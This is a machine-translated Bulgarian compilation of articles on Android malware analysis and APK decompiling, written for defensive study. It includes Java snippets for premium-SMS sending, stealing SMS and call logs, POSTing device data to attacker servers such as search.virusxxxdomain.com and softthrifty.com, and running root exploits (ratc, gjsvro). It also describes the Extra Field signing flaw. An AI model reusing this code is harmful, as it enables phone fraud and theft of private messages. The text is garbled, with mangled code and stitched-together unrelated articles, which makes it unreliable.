Описание на зловреден софтуер за Android. Ние отваряме, модифицираме и пакетираме приложения за Android. Анализ на зловреден софтуер

Колекцията от злонамерени приложения за Android на някои антивирусни лаборатории вече съдържа повече от 10 милиона проби. Тази цифра вълнува въображението, но приблизително 9 милиона 995 хиляди от тях са преименувани на копия на оригиналните вируси. Но ако анализираме изходния код на останалите няколко хиляди проби от малвари, можем да видим, че всички те са комбинирани от малък брой уникални функционални блокове (няколко модифицирани и комбинирани по различни начини).

Работата е там, че производителите на вълшебници най-често преследват много тривиални задачи:

  • изпращайте SMS на платен номер;
  • да притежавате поверителна потребителска информация (телефонни номера, текстове на съобщения, данни от SD карта и т.н.);
  • събиране на данни за заразено устройство;
  • изземване на административни права на устройството (за инсталиране на приложения без разрешение на собственика или злонамерено деактивиране на устройството);
  • проследяване на входни данни, пароли и данни за разплащателни карти, които потребителят въвежда в сайтовете на интернет банкирането. Как го правят? Нека се опитаме да проникнем в мрачния свят на мобилното виртуализиране и да видим какво се случва там.

Изпращане на SMS

Кой използва:

  • AdSms;
  • FakePlayer;
  • HippoSms.

Най-разпространеният тип вируси са SMS троянски коне. Тези вируси просто изпращат съобщения до платени номера без съгласието на потребителя. Много лесно е да създадете такава програма или да пренапишете готовата до желаното число. А процесът на получаване на обезщетения е изключително опростен - за разлика например от проследяване на банкови данни.

Следва най-простият пример за код. Това е елементарна функция за изпращане на SMS. Може да се усложни, като проверите състоянието на изпращане, изберете номера в зависимост от местоположението на абоната и след това изтриете SMS.

Частни статични SendSms (String DestNumber, String SmsText) (// Опит за стартиране на метода sendTextMessage на обекта SmsManager (стандартната програма за изпращане на SMS от текущото устройство) с минимален брой параметри: номер на получателя и опитайте текст на съобщението (SmsManager.getDefault (). SendTextMessage (DestNumber) , , SmsText, , null); return true;))

Къде да търсите кода на вируса

В по-голямата част от случаите заразяването на телефона става чрез инсталирането на приложения. Всяко приложение за Android съществува като файл с разширението apk, което по същество е архив. Можете да прегледате съдържанието му с помощта на Android SDK, конвертора на файлове в APK към JAR и декомпилатора на байт кодове на Java. Създаването на приложението (APK) се състои от следните части:

  • resource.arsc - таблица с ресурси;
  • res (папка) - всъщност ресурси (икони и т.н.);
  • META-INF (папка) - съдържа файлове със следното съдържание: контролни суми за ресурси, сертификат за приложение и описание на монтажа на APK;
  • AndroidManifest.xml - всички видове информация за услугата. Включително разрешения, които приложението изисква преди да инсталира за правилната си работа;
  • class.dex - вероятно сте чували, че в операционните системи Android целият код се изпълнява с помощта на виртуалната машина Dalvik (като се започне от версия 4.4, се появява поддръжката на ART), която не разбира обикновения байт код на Java. Следователно има файлове с разширението dex. Наред с необходимите и полезни класове (които са отговорни за функционалността на приложението), той съдържа и зловреден софтуер (вирусен код, който ще анализираме в тази статия).

Писане на информация на потребителя в текстов файл

Кой използва:

  • NickySpy;
  • SmsSpy.

Има категория вируси, които ловуват за лични данни на потребителите. Механизмът на тяхното действие също е прост. Те или качват потребителски файлове на сървъра на създателя си, или предварително събират данни в txt (CSV, XML - не е важно). Контакти от всякакъв тип, съобщения от различни месинджъри, медийни файлове и др. Могат да представляват интерес за нападателите.

SMS на заразените потребители е особено ценен от телефонните номера на изпращачи и получатели - те могат да попълнят базата данни за спам съобщения. По-рядко вируси от този вид се използват за заразяване на устройства с конкретни личности - следващия път, когато приятелката ви предложи да тествате приложение за Android, написано на нея (ах, карамба! - Ред.), Не губете бдителност :).

// Прочетете броя на SMS на устройството arrayOfObject \u003d (Object) localBundle.get ("pdus"); int j \u003d arrayOfObject.length; // Прегледайте всеки SMS i \u003d 1, докато (вярно) (ако (i\u003e \u003d j) прекъснете; // Създайте обект на SMS съобщение SmsMessage localSmsMessage \u003d SmsMessage.createFrompdu ((байт) arrayOfObject [i]); // Поставете към низови променливи номер на изпращача, текст и време на изпращане на SMS String MessageNumber \u003d localSmsMessage.getOriginatingAddress (); String MessageText \u003d localSmsMessage.getDisplayMessageBody (); long l \u003d localSmsMessage.getTimestampMillis (); Date localDate \u003d Нова датаT (Stream); нов SimpleDateFormat ("yyyy-MM-dd HH: mm: ss"). формат (localDate); // Оформете низ от получените данни и го запишете в текстов файл, използвайки потребителския метод WriteRec String MessageInfo \u003d 7MessageNumber + "#" + MessageText + "#" + MessageTimeDate + ";" WriteRec (paramContext, "sms.txt", MessageInfo); // Отидете на c За следващото съобщение i + \u003d 1;) Освен това е удобно да попълвате списъка със спам от историята на обажданията на абоната. Ето кода, който може да се изпълнява при входящо повикване: If (parmIntent.getAction (). Равно ("android.intent.action.NEW_OUTGOING_CALL")) (// Поставете абонатен номер String phonenumber \u003d paramIntent.getStringExtra ("android.intent). extra.PHONE_NUMBER "); // Генериране на низ от номера и дата на обаждане String PhoneCallRecord \u003d phonenumber +" # "+ getSystemTime (); // Извикайте метода WriteRec () (кодът му не е посочен тук), който добавя низа към текстовия файл с История на обажданията WriteRec (paramContext, "phonecall.txt", PhoneCallRecord);)

След като информацията бъде записана, тя се прехвърля в „десните ръце“. Кодът по-долу качва историята на обажданията на сървъра:

Частно void uploadPhonecallHistory () хвърля IDException (while (true) (връщане; // Проверете дали имаме файла, ако (! FileIsExists (/data/data/spyapp.pg/files/phonecall.txt ")) продължи; // Създаваме обект - изтеглящия файл UploadFiles localUploadFiles \u003d нови UploadFiles (); String uploadkeynode \u003d getKeyNode ("uid", "uid_v"); // Стартираме method.advanceduploadfile (кодът му не е посочен тук), за да качим файла на сървъра на virmaker localUploadFiles. предварителноduploadfile (uploadkeynode, "/ data / data / spyapp.pg / files / phonecall.txt");))

Събиране на информация

Кой използва:

  • DroidKungFu;
  • DroidDream;
  • по-голямата част от малварите са всички подобни.

По принцип информацията за заразени устройства, заразени с неговите програми, е полезна за всеки производител на вируси. Получаването му е много просто. Създава се масив с данни за свойствата на телефона (пълен списък може да се намери в ръководството за разработчици на Android) и се изпраща чрез POST заявка до PHP скрипт (езикът е безпринципно) на сървъра на атакуващия, той обработва данните и ги поставя в базата данни за по-късна употреба.

Частен void reportState (int paramInt, string paramString) (// Създаване на масив и поставяне на служебна информация в него ArrayList UserInformation \u003d new ArrayList (); UserInformation.add (new BasicNameValuePair ("imei", this.mImei)); UserInformation.add ( нов BasicNameValuePair ("taskid", this.mTaskId)); UserInformation.add (нов BasicNameValuePair ("състояние", Integer.toString (paramInt))); // Ако функцията има параметър paramString (коментар), поставете го в масив и неговото if (paramStrng! \u003d null) && (! "". е равно (paramString))) UserInformation.add (нов BasicNameValuePair ("коментар", paramString)); // Създайте HTTP POST заявка с адреса на скрипта, който събира данните HttpPost localHttpPost \u003d нов HttpPost ("http://search.virusxxxdomain.com:8511/search/rtpy.php"); опитайте (// Добавете нашия масив от данни към заявката и го изпълнете, използвайки стандартния HTTP клиент localHttpPost.setEntity (нов UrlEncodeFormEntity (UserInformation, „UTF-8“))); нов DefaultHttpClient (). Execute (localHttpPost) .getStatusLine.getStatusCode (); се върне; ))

вкореняване

Кой използва:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Едно от най-досадните неща, което може да се случи с устройство с Android, е неговият корен вирус. В края на краищата, след това злонамерена програма може да направи всичко с нея: инсталирайте други вируси, променете хардуерните настройки. Това действие се осъществява чрез последователно стартиране на подвизи:

Частна void RootFunc () (ApplicationInfo localApplicationInfo \u003d getApplicationInfo (); / * "ratc" е копие на известния root експлоатация Rage Against The Cage. Kiall е спирка за всички процеси, стартирани от текущото приложение. Gjsvro е подвиг за придобиване на права на udev (използван в Linux-системи за усъвършенствана работа с хардуерни и мрежови интерфейси.) Копирайте всичко това на правилното място * / Utils.copyAssets (това, "ratc", "/ data / data" + localApplicationInfo.packageName + "/ ratc"); Помощни програми .copyAssets (това, "killall", "/ data / data" + localApplicationInfo.packageName + "/ killall"); Utils.copyAssets (това, "gjsvro", "/ data / data" + localApplicationInfo.packageName + "/ gjsvro "); // И стартирайте Utils.oldrun (" / system / bin / c, използвайки командния ред hmod "," 4755 /data/data"+localApplicationInfo.packageName + "/ ratc"); Utils.oldrun ("/ система / bin / chmod", "4755 /data/data"+localApplicationInfo.packageName +" / killall " ); Utils.oldrun ("/ system / bin / chmod", "4755 /data/data"+localApplicationInfo.packageName +" / gjsvro)); нов MyTread.start (); )

Мобилни сайтове за Малвари

Експертен блог на Kasperskiy Lab Този ресурс съдържа висококачествени и подробни статии за много аспекти на компютърната сигурност, включително Android вируси. Трябва редовно да посещавате този сайт, за да сте в крак с най-новите разработки.

Групата е посветена на инструмент с отворен код за всички видове манипулации с кода на приложенията за Android (декомпилация и модификация на DEX / ODEX / APK файлове и т.н.). Androguard съдържа и обширна база данни от статии за вируси. В допълнение към кратки прегледи на функционалността и методите на защита, има подробни анализи на кода на Малвари.


Секция „Мобилни заплахи“ на www.fortiguard.com Енциклопедия за телефонен вирус. Всяка статия е функционален преглед, овкусен със значително количество технически подробности. В допълнение към информация за заплахи за операционната система Android има статии за вируси за Symbian OS, iOS и други платформи.


Защита срещу вируси

Някои потребители смятат, че ако изтегляте приложения изключително от Google Play и инсталирате антивирус на вашия смартфон, това напълно гарантира сигурност. Не се ласкайте: съобщенията редовно се появяват в мрежата за наличието на малвари на официалния пазар. А броят на новопоявилите се злонамерени програми се измерва в стотиците хиляди на месец, което затруднява навременното им влизане в базите данни на антивирусната програма. Истинска гаранция за сигурност може да бъде дадена чрез ръчен преглед на кода на APK файла, преди да го инсталирате на телефона. Не е необходимо да сте кодиращ гуру, за да забележите злонамерени фрагменти. И нашата статия ще ви помогне в това.

заключение

Както виждаме от примерите, мобилният вирмейкинг не се различава по технологична сложност. Разбира се, тези примери са опростени до формата на дневника - на първо място са пропуснати обработващи грешки и изключения, както и някои технически подробности, отсъствието на които няма да ви попречи да разберете принципите на Android-малвари, но ще ви предпази от ненужни експерименти. В крайна сметка ние не подкрепяме създаването на вируси, нали? 🙂

Extra Field е уязвимост в Google Android, която позволява на нападателите да променят съдържанието на инсталационния пакет на всяко приложение за тази ОС, без да повредят цифровия си подпис. Използвайки тази уязвимост, писателите на вируси могат да разпространяват троянски коне чрез инжектиране на зловреден компонент в законно или надеждно приложение.

Антивирусът Dr.Web за Android не може да премахне тази уязвимост, тъй като е открит на нивото на самата операционна система, но успешно открива и премахва злонамерени програми, които се разпространяват през нея, дори когато се опитват да проникнат и да се изпълняват на защитеното устройство.

Технически подробности

Разпространенията на приложения за операционната система Google Android се разпространяват под формата на .APK файлове, които представляват ZIP архив, който съдържа всички компоненти, необходими за работата на приложението. В процеса на инсталиране на програмата те се извличат от архива и техните контролни суми се проверяват съгласно специален списък. Всяко приложение има собствен цифров подпис.

Използване на уязвимост Допълнително поле, атакуващите могат да променят структурата на архива на APK: когато добавят към служебното му поле стойността на един от оригиналните програмни компоненти (по-специално файлът class.dex) без първите три байта, докато поставят на негово място модифицирана версия на този файл, последният се възприема от операционната система като законна и разрешена за инсталиране. Въпреки факта, че потенциалната употреба на тази уязвимост е ограничена от размера на файла dex, който не трябва да е повече от 65 533 байта, киберпрестъпниците, които се интересуват от атаката, лесно могат да се възползват от нея, като вземат за основа безвредна програма или игра, която има компонент със съответния размер.

Файлът class.dex съдържа компилирания код на приложение вътре във файла APK. Заглавката на пакета APK включва известно пространство, в което се съхранява името на файла с разширението .dex, както и поле, наречено допълнително поле, което съхранява самото съдържание на файла class.dex и списък на класове, използвани от приложението. Ако полето на заглавката се намали с три байта, дължината на съответното поле се променя, което позволява на нападателите да включат оригиналните класове.dex в допълнителното поле, както и злонамерено копие на този файл, част от който също ще бъде поставен в допълнителното поле. Модифицирано поле може да съдържа класове, създадени от нападатели, които носят злонамерен функционален товар. Когато инсталирате приложението, операционната система чете съдържанието на това поле, в резултат на което файлът.dex, модифициран от атакуващите, е инсталиран на атакуваното устройство.

Загубили сте източника на вашата програма и трябва да възстановите кода. Изтеглили сте програма с вирус и искате да знаете какво прави.

Програмите за Android се разпространяват в архиви. Тези архиви имат разширението ".apk". Такива файлове не са кодирани и по същество са zip файлове. Можете да преименувате apk файла, за да го видите.

Трябва да копаете по-дълбоко в APK файла и да получите някои данни. Можете да тренирате на котки. Нека вземем нашата програма "Hello Kitty", намерете нейния apk файл в папката на проекта app \\ build \\ изходи \\ apk   и се преместете в отделна папка за експерименти.

След като разопаковате архива, можете да видите структурата на приложението и да срещнете познати файлове. И дори извлечете някои файлове за гледане. Например в папка res / dravable-hdpi-v4   Намерих снимката си pinkhellokitty.png, Изглежда, че това е щастието. Но ей чакай. Ако няма проблеми с изображенията, тогава четенето на XML файла ще бъде проблем. Някои редове са ви видими, но като цяло текстът е напълно нечетлив. Така че първо, нека тръгнем по другия път.

Тъй като персонализираните приложения за Android работят в Java машина, APK файловете наследяват всички функции на JAR файловете.

Съдържанието на архива обикновено изглежда така:

Каталогът META-INF съдържа:

CERT.RSA - Сертификат за кандидатстване
  CERT.SF - контролни суми от файлове с ресурси (снимки, звуци и т.н.)
  MANIFEST.MF - сервизна информация, която описва самия apk файл

Разбор на зловреден софтуер

Вземете за пример програмата. suspicious.apk, която се открива от различни антивируси като злонамерена програма.

За да разберете по-добре какво точно да търсите, трябва да анализирате файла „AndroidManifest.xml“ - вижте какви конкретни разрешения се нуждаят от анализираното приложение. Този файл е двоичен, а не обикновен текст xml. За да го прочетете, трябва да използвате помощната конзола „aapt“ от Android SDK. Той се намира в директорията на платформа-инструменти. Тъй като няма графичен интерфейс, командата трябва да бъде въведена в конзолата. Например за Windows:

C: \\ android-sdk-windows \\ platform-tools \\ aapt.exe l -a C: \\ входящи \\ подозрителни.apk

Разбира се, трябва да замените своите пътища. В Linux командата ще бъде същата с очевидни разлики (няма да има букви на устройството и няма „exe“ разширения за помощната програма). За удобство изходът може да бъде пренасочен към файл:

C: \\ android-sdk-windows \\ platform-tools \\ aapt.exe l -a C: \\ входящи \\ съмнителни.apk \u003e\u003e C: \\ входящи \\ manifest.txt

Във файла трябва да намерите секцията „Android манифест“ и да потърсите изброяване на разрешенията. В анализирания файл изглежда така:

   "android.permission.READ_PHONE_STATE" (Raw: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (Raw: "android.permission.INTERNET") "android.permission." (Raw: "android.permission.RECEIVE_SMS")

От тази информация става ясно, че програмата може да получи състоянието на телефона (това включва например „телефон в режим на разговор“, „телефон в режим на получаване на данни“). Това разрешение е необходимо и за получаване на телефонния номер, на който работи програмата, работа с мрежата и наблюдение на пристигането на SMS. Тези аспекти трябва да бъдат съсредоточени върху по-нататъшния анализ.

За да получите достъп до кода, трябва да извършите две стъпки - да конвертирате apk файла в jar файл и да декомпилирате получения байт код в по-четена от човека форма.

Използваме конвертора "dex2jar":

C: \\ dex2jar \\ dex2jar.bat C: \\ входящи \\ подозрителни.apk

Преобразуваният файл ще бъде разположен в същата директория като оригиналния файл. „.Dex2jar.jar“ ще бъде добавен към името му, тоест в този пример ще бъде „подозрителен.apk.dex2jar.jar“.

Този файл може да бъде отворен с декомпилатор. Йерархията на пакета в прозореца на декомпилатора изглежда така:


С това завършвате подготвителните стъпки - по-нататъшният успех зависи само от познанията ви в Java и способността да използвате търсачка.

За щастие избраният за пример пример има доста скромни размери - крайният буркан е само 7.01 KB.

Програмата има само шест паралелки. Изключете тези, които не представляват интерес. Това е клас R, в който са изброени само идентификаторите на всички ресурси. Можете също да изключите класа от разглеждане. Configкоято съдържа конфигурацията на монтажа.

Нека разгледаме останалите три класа по-подробно.

активиране

Този клас се задейства на събитие. onCreate (), тоест веднага след стартиране на приложението.

TelephonyManager localTelephonyManager \u003d (TelephonyManager) getSystemService ("телефон");   - създава localTelephonyManagerкойто поставя данни за устройството.

str1 \u003d localTelephonyManager.getDeviceId ();   - избира идентификационния номер на устройството от получените данни и го поставя на низ str1

Следва цикъл, който се разделя DeviceID   на парчета от четири цифри, вмъквайки тире „-“ между тях, тоест от XXXXXXXXXXXXXXXXXX получавате XXXX-XXXX-XXXX-XXXX. Полученият низ от числа и тирета се предава на TextView   с идентификатор 2131034112.

SmsReciever

Този клас се задейства, когато пристигне SMS съобщение, събитие onReceive ().

Задачата на този клас е да проследява входящите SMS и, ако бъде открит, да стартира класа MainService, предавайки му указател към ново входящо съобщение.

MainService

Този клас е доста голям, така че няма да го дам в неговата цялост. Веднага след повикването, той стартира подклас „SmsBlockerThread“, който блокира известието за входящи SMS, така че потребителят да не бъде уведомен за нов входящ SMS.

Тогава входящите SMS се обработват по този начин:

String str1 \u003d localSmsMessage.getOriginatingAddress ();   - телефонният номер на получателя (тоест телефонният номер, на който е инсталиран троянският) е поставен в променлива str1.

String str2 \u003d localSmsMessage.getMessageBody ();   - тялото на съобщението е поставено в променливата str2

Тогава се създават сдвоени двойки. localBasicNameValuePair1   и localBasicNameValuePair2   в които се поставят стойностите

F0 \u003d<номер телефона>   b0 \u003d<текст сообщения>

Тези двойки се съхраняват в масив localArrayList, към който по-късно се добавя двойка localBasicNameValuePair3представляващ id \u003d

В този случай, както виждате, DeviceID   получено отново, но не е използвано полученото в класа активиране, Завършва с извикване на метод postRequest ()   от последния клас ServerSession:

Опитайте (JSONObject localJSONObject \u003d ServerSession.postRequest (нов UrlEncodeFormEntity (localArrayList)); return;)

Параметърът е същият масив от двойки, в който телефонният номер, SMS съдържанието и идентификационният номер на устройството.

ServerSession

Този клас има два метода: initUrl ()която връща частта от връзката „(http://softthrifty.com/security.jsp)“:

Публична статична струна initUrl () (връщане "http://softthrifty.com/security.jsp";)

и страхотен метод postRequest ()което се обаждаше от класа MainService, Въпреки размера, задачата postRequest ()   прост - изпратете до сървъра, използвайки връзката, върната чрез метода initUrl (), данни чрез добавяне на двойки от масив, събран в MainService, Тоест, просто отидете на линка:

   (http://softthrifty.com/security.jsp?f0\u003d<номер телефона>& b0 \u003d<текст сообщения>& id \u003d )

доведе до

И така, този троянец прихваща SMS и изпраща заявка до сървъра, в която предава заразения телефонен номер, SMS съдържанието и идентификатора на заразения телефон. Това поведение може да е знак за банков троянец, който атакува двуфакторно удостоверяване. За успешна атака трябва да бъдат изпълнени следните условия:

1) нападателят трябва да зарази компютъра на жертвата, за да прихване данни за онлайн банкиране;
  2) нападателят трябва да зарази телефона на жертвата, за да прихване SMS с код за потвърждение от банката;
  3) нападателят трябва по някакъв начин да свърже потребителя на заразения компютър и заразения телефон, за да знае от какви идентификационни данни за онлайн банкиране е този код за потвърждение;

Поради своя размер и очевидността на дейностите си, подобна извадка е подходяща за демонстриране на основните техники за анализ на зловреден софтуер за Android.

Описание на зловреден софтуер за Android

Александър Антипов

Доклад на McAfee за състоянието на потенциалните заплахи през първото тримесечие на тази година показа наличието на 6 милиона идентифицирани уникални проби от зловреден софтуер.


Доклад на McAfee за състоянието на потенциалните заплахи през първото тримесечие на тази година показа наличието на 6 милиона идентифицирани уникални проби от зловреден софтуер. В този смисъл, първото тримесечие на 2011 г. се оказа най-ефективно по отношение на броя на откритите злонамерен софтуер в сравнение със същите периоди от всички минали години. Доклад от McAfee отбеляза, че устройствата с Android все повече се превръщат в носители на злонамерен софтуер. Според експерти на Android през първото тримесечие на тази година тя се превърна във втората най-популярна мобилна цел за натрапници след Symbian.

В тази статия ще ви преведем през различните етапи на софтуерния анализ, като по този начин ще ви позволим да разберете какви точно са уязвимостите на платформата Android и как нападателите ги използват. Първо, ще започнем с обсъждане на историята на разработката на Android, а след това преминем към основите на това как работят пакетите за конфигурация на платформата. Успоредно с това ще анализираме подробно всички злонамерени програми, които са специално насочени към Android.

Въвеждане на Android платформа

Android е операционна система, базирана на Linux ядрото за мобилни телефони, комуникатори, таблети и други устройства. Разработчиците пишат приложения за Android главно на езика на Java, като осигуряват контрол на устройството с помощта на библиотеката на Java, разработена от Google. Компилаторът на Android Java компилира набор от файлове на разработчици в класови файлове, след което класовите файлове се преобразуват в dex файлове. Тези файлове имат байт-код, използван специално за разпознаване на виртуалната машина на Dalvik, която е среда за изпълнение на байтови приложения на Java приложение (JVM), работеща на специално приложение за Android. XML файловете се преобразуват в двоичен формат, оптимизирани за създаване на малки файлове. .Dex файлове, XML двоични файлове и други ресурси, необходими за стартиране на приложения, се пакетират в файл с пакет за Android. Тези файлове имат разширение .apk, но те са стандартни ZIP файлове. След като apk пакета се формира, той се подписва цифрово от разработчика и той се качва на Android Market чрез уебсайта на Google, откъдето потребителят може да изтегли тези apk файлове и да ги инсталира на своето Android устройство. В момента има повече от 2 милиона приложения за изтегляне в централния хранилище за приложения за Android и в допълнение, не забравяйте, че Google Android приложения могат да бъдат изтегляни от други сайтове на трети страни.

изисквания

  • Инструмент за разопаковане на apk файлове - Winzip
  • Инструмент за конвертиране на .dex файлове в .jar файлове: .. Dex2jar
  • Графична полезна програма за декомпилация на Java: JD-GUI
  • Проби от зловреден софтуер, насочен към Android, за анализ

Подробни стъпки

Стъпка I:
   За да започнете процедура за анализ на злонамерен софтуер, първо трябва да изтеглите злонамерена извадка, насочена към платформата Android. В този случай ще изтеглим iCalendar.apk, който се превърна в едно от 11-те подозрителни приложения, премахнати от Android Market, защото откри съдържание на зловреден софтуер в Gadget Media. Проверката на заявката за VirusTotal показа степента на откриване от 46,5%, както е показано на фигурата по-долу.


Фиг. 1

Стъпка II:

Извадете iCalendar.apk файл с помощта на Winzip, след което можете да видите съдържанието на file.apk

Фиг. 2. .dex и. XML файловете, обсъдени по-рано в тази статия, са показани на Фигура 2. 2.

Стъпка III:

Следващата стъпка е да изпълните кода с помощта на инструмента "dex2jar". Кутията с инструменти dex2jar преобразува изпълнимите файлове на Dalvik .dex в Java .class файлове. "Classes.dex" - файлът от нашето приложение попада в директорията dex2jar "и се преобразува с помощта на следната команда: dex2jar.bat class.dex.

Фиг. 3 Създаване на файлове "class.dex.dex2jar.jar" в една директория.

Фиг. 4

Стъпка iv:

Използвахме JD-GUI за преглед на .class файлове. Отворете файла "Classes.dex.dex2jar.jar", като използвате JD-GUI.

Фиг. 5: Показва се пълен изходен код за приложения за Android.

Стъпка V:
   След като получите изходния код на приложението, можете да анализирате действителния източник и да проверите за проблеми. Беше отбелязано, че файлът с името на класа "SmsReceiver.class" изглежда някак странно, тъй като това е календарът на приложението и SmsReceiver в този случай не се изисква. При допълнителна проверка на изходния код "SmsReceiver.class" беше установено, че той съдържа три номера 1066185829, 1066133 и 106601412004, които изглеждат доста съмнително. По-специално ситуацията е подобна на опит за блокиране на съобщения, изпратени от посочените номера до устройството с Android, когато това приложение е инсталирано и стартирано.

Фиг. 6

След търсене на тези номера чрез Google беше установено, че това са номера на SMS услуги, собственост на China Mobile (фиг. 7).

Фиг. 7

Опитахме се да анализираме защо в следващите стъпки приложението се опитва да блокира отчетите за доставките от горните номера.

Стъпка VI:
   След като анализът на файла "SmsReceiver.class" приключи, пристъпваме към анализа на кода за следния .class файл, т.е. "ICalendar.class". Първият от тях изглежда най-подозрителен. По-специално забелязахме, че функция sendSms () присъства във функцията showImg ().

Фиг. 8

И така, ние инициирахме проверка на файла "sendSms ()", за да видим функциите при изпълнението на команди. Както е показано на фигурата по-долу, виждаме, че когато се активира функцията sendSms (), SMS с текст 921X1 се изпраща автоматично на номер 1066185829.

Фиг. 9

Стъпка VII:
   В края на функцията sendSms () забелязахме наличието на команда за запазване на функция. По този начин потърсихме функцията save () вътре в кода и открихме пряката му връзка с функцията sendSms ().

Фиг. 10

След провеждането на подходящ анализ и изясняване на различни аспекти на функцията save () беше установено, че низът "Y" преминава всеки път, когато се изпълнява функцията save (). В допълнение беше заключено, че функцията sendSms () може да бъде извикана само веднъж, но не повече, тъй като за функцията sendSms () има зададен цикъл „ако“.

Стъпка VIII:
   Комбинирайки резултатите от целия анализ, можете да получите ясна представа за пълноценното функциониране на различни видове злонамерен софтуер.

Приложението изпраща SMS на премиум номер 1066185829 с текста 921X1. Успоредно с това, всички входящи съобщения за доставка на съобщения до този номер са блокирани и в резултат жертвата няма да получи никакъв сигнал за съществуването на такъв SMS, изпратен от приложението във фонов режим. Освен това SMS се изпраща само веднъж и жертвата по никакъв начин не може да подозира какво всъщност е причинило дебитирането на средства от сметката.

Фиг. 11: Пълни констатации за злонамерен софтуер от iCalendar.apk цикъла

заключение:

   Злобната програма с root достъп до телефона не само има възможност да чете всякакви данни, съхранявани на нея, но също така е в състояние да я прехвърли на абсолютно всяко място. Тази информация може да включва информация за контакт, документи и дори пароли за акаунти. Ако имате root достъп, можете да инсталирате други компоненти, които не са достъпни за гледане в потребителския интерфейс на телефона, в резултат на което те не могат да бъдат лесно премахнати. Основните начини за защита на приложенията от зловреден софтуер за платформата Android са изброени по-долу:
  • Изтеглете приложението само от надеждни източници;
  • Преди да изтеглите приложението, проверете съответните оценки и отзиви;
  • Внимателна оценка на разрешенията за конкретни приложения;
  • Инсталирайте актуализации за Android OS, когато станат достъпни;
  • Инсталиране на програми за защита на мобилни приложения.

Документът дава пример за щетите, причинени от злонамерен софтуер на нищо неподозиращи потребители. Ако човек не е наясно с неговото съществуване, тогава подобни програми ще позволят да се извършват почти всякакви неразрешени действия на заден план. Действието на злонамерени програми може да доведе до финансови загуби за потребителя чрез дебитиране на средства от неговите баланси, както и кражба на пароли. В допълнение, те могат да причинят щети на самия телефон. Както можете да видите, много е важно своевременно да приложите подходящи предпазни мерки, за да предотвратите навлизането на такива приложения във вашия телефон. По-добре да го играеш безопасно веднъж, отколкото да съжаляваш десет пъти.

Понякога някои приложения за Android не подхождат на потребителя с нещо. Пример е досадната реклама. И се случва така - всички са доволни от програмата, но само преводът в нея е или крива, или изобщо не. Или например програмата е пробна, но няма как да получите пълната версия. Как да направите промяна?

въведение

В тази статия ще говорим как да анализираме пакета APK с приложението, ще разгледаме неговата вътрешна структура, разглобяваме и декомпилираме байтовия код, а също така ще се опитаме да направим някои промени в приложенията, които могат да ни донесат една или друга полза.

За да направите всичко това сами, ще ви трябва поне основни познания за езика на Java, който се използва за писане на приложения за Android, и езика XML, който се използва навсякъде в Android - от описанието на самото приложение и неговите права за достъп до съхраняване на линиите, които ще се показват на екрана. Ще се нуждаете и от възможността да боравите със специализиран софтуер за конзолата.

И така, какво представлява пакетът APK, в който се разпределя абсолютно целият софтуер за Android?

Декомпилиране на приложения

В статията работихме само с разглобен код на приложението, но ако направите по-сериозни промени в големи приложения, ще бъде много по-трудно да разберете кода smali. За щастие можем да декомпилираме dex кода в Java код, който, въпреки че не е оригинален и не е компилиран обратно, е много по-лесен за четене и разбиране на логиката на приложението. За целта ни трябват два инструмента:

  • dex2jar - преводач на байткод от Dalvik в байт код JVM, въз основа на който можем да получим Java код;
  • jd-gui - самият декомпилатор, който ви позволява да получите четим Java код от байт-кода JVM. Като алтернатива можете да използвате Jad (www.varaneckas.com/jad); въпреки че е доста стар, в някои случаи генерира по-четим код от Jd-gui.

Използвайте ги по следния начин. Първо стартирайте dex2jar, като посочвате пътя към пакета apk като аргумент:

   % dex2jar.sh mail.apk

В резултат Java пакетът mail.jar ще се появи в текущата директория, която вече може да се отвори в jd-gui, за да видите Java код.

APK пакети на устройства и тяхното получаване

Пакетът за приложения за Android всъщност е обикновен ZIP файл, който не изисква специални инструменти за преглед и разопаковане на съдържанието му. Достатъчно е да имате архиватор - 7zip за Windows или да разархивирате конзолата на Linux. Но тук става въпрос за обвивката. Какво има вътре? Вътре в общия случай имаме следната структура:

  • META-INF /   - съдържа дигитален сертификат на приложението, удостоверяващ неговия създател, и контролни суми на пакетите файлове;
  • res / - различни ресурси, които приложението използва в своята работа, например изображения, декларативно описание на интерфейса, както и други данни;
  • AndroidManifest.xml   - описание на заявлението. Това включва например списък на необходимите разрешения, необходимата версия на Android и необходимата разделителна способност на екрана;
  • classes.dex   - Компилиран байтов код на приложение за виртуалната машина Dalvik;
  • resources.arsc   - също ресурси, но от различен вид - по-специално, низове (да, този файл може да се използва за русификация!).

Изброените файлове и директории са, ако не във всички, то, може би, в огромното мнозинство от APK файлове. Въпреки това си струва да споменем още няколко не толкова често срещани файлове / директории:

  • актив   - аналог на ресурси. Основната разлика е, че за да получите достъп до ресурс, трябва да знаете неговия идентификатор, но списъкът на активите може да се получи динамично, използвайки метода AssetManager.list () в кода на приложението;
  • иЪ   - Native Linux библиотеки, написани с помощта на NDK (Native Development Kit).

Тази директория се използва от производителите на игри, поставяйки там игровия двигател, написан на C / C ++, както и създателите на високоефективни приложения (например Google Chrome). Разбрахме устройството. Но как да получите пакетния файл на заявлението за интерес? Тъй като не е възможно да се вземат APK файлове от устройството без root (те са в директорията / data / app) и вкореняването не винаги е препоръчително, има поне три начина да получите файла на приложението до компютъра:

  • разширение APK Downloader за Chrome;
  • real APK Leecher приложение;
  • различни хостинг на файлове и warezniki.

Кой да използвате е въпрос на вкус; предпочитаме да използваме отделни приложения, затова ще опишем използването на Real APK Leecher, особено след като е написано на Java и съответно ще работи дори и в Windows, дори и в nixes.

След стартиране на програмата е необходимо да попълните три полета: имейл, парола и идентификатор на устройството - и да изберете език. Първите две са електронната поща и паролата на вашия акаунт в Google, които използвате на устройството. Третият е идентификаторът на устройството и той може да бъде получен чрез набиране на кода на набирача # #8255##   и след това намиране на линейния идентификатор на устройството. Когато попълвате, трябва да въведете само идентификационния номер без префикса android.

След попълване и запазване често се появява съобщението „Грешка при свързване към сървъра“. Тя не е свързана с Google Play, така че не се колебайте да я игнорирате и да търсите пакети, които ви интересуват.

Преглед и промяна

Да предположим, че намирате пакета, който ви интересува, изтегляте, разопаковате ... и когато се опитате да видите XML файл, с изненада установявате, че файлът не е текст. Как да го декомпилирате и как да работите с пакетите като цяло? Наистина ли е необходимо да инсталирате SDK? Не, SDK изобщо не е необходим. Всъщност, всички стъпки за разопаковане, промяна и пакетиране на APK пакети изискват следните инструменти:

  • zIP архиватор   за разопаковане и опаковане;
  • smali   - сглобяване / разглобяване на байтов код на виртуална машина Dalvik (code.google.com/p/smali);
